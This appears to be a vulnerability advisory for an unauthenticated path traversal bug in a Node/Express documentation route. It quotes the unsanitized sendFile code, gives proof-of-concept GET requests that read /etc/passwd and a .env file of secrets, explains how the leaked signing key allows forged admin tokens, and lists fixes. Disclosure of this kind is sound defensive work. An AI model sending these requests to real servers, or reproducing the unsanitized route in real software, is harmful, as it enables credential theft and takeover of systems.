Summary

Unauthenticated path traversal in the /workflow/docs/:componentName endpoint
allows reading arbitrary files from the server filesystem.

Details

File: Worker/FeatureSet/Workflow/Index.ts (Lines 29-36)

The componentName route parameter is concatenated directly into a file path
passed to res.sendFile() with no sanitization or authentication middleware.

app.get(
  `/${APP_NAME}/docs/:componentName`,
  (req: ExpressRequest, res: ExpressResponse) => {
    res.sendFile(
      "/usr/src/app/FeatureSet/Workflow/Docs/ComponentDocumentation/" +
        req.params["componentName"],  // UNSANITIZED
    );
  },
);

PoC

GET /workflow/docs/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: <target>

Returns /etc/passwd. More critically:

GET /workflow/docs/..%2F..%2F..%2F..%2F.env HTTP/1.1
Host: <target>

Leaks ENCRYPTION_SECRET, DATABASE_PASSWORD, ONEUPTIME_SECRET,
and other credentials from the environment.

Impact

• Direct: Unauthenticated arbitrary file read from the server
• Chained: Leaked ENCRYPTION_SECRET is the JWT signing key — attacker
  can forge admin authentication tokens and gain full control of the platform
• Affected data: Environment secrets, database credentials, TLS private
  keys, application source code

Remediation:

• Validate componentName against an allowlist of known documentation files, or
• Strip path separators and resolve the path, then verify it remains within the intended directory
• Add authentication middleware